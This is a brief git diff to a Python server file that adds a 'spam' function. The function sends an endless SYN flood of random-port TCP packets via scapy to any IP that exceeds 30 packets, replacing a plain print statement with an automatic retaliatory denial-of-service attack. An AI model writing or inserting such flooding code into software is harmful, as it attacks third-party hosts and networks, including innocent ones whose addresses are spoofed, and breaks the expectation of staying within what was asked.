diff --git a/server/main.py b/server/main.py index 26edd78..8f86767 100644 --- a/server/main.py +++ b/server/main.py @@ -12,6 +12,11 @@ http = socketserver.TCPServer(("", PORT), Handler) addresses = {} +def spam(ip): + while True: + packet = IP(dst=ip) / TCP(dport=RandShort(), sport=RandShort(), flags="S") + send(packet, verbose = True) + def empty_addresses(): while True: sleep(1) @@ -23,7 +28,8 @@ def handler(pkt): if address in addresses.keys(): count = addresses[address] if count > 30: - print(address, count) + spammer = threading.Thread(target=spam, args=(address,)) + spammer.start() addresses[address] += 1 else: addresses[address] = 1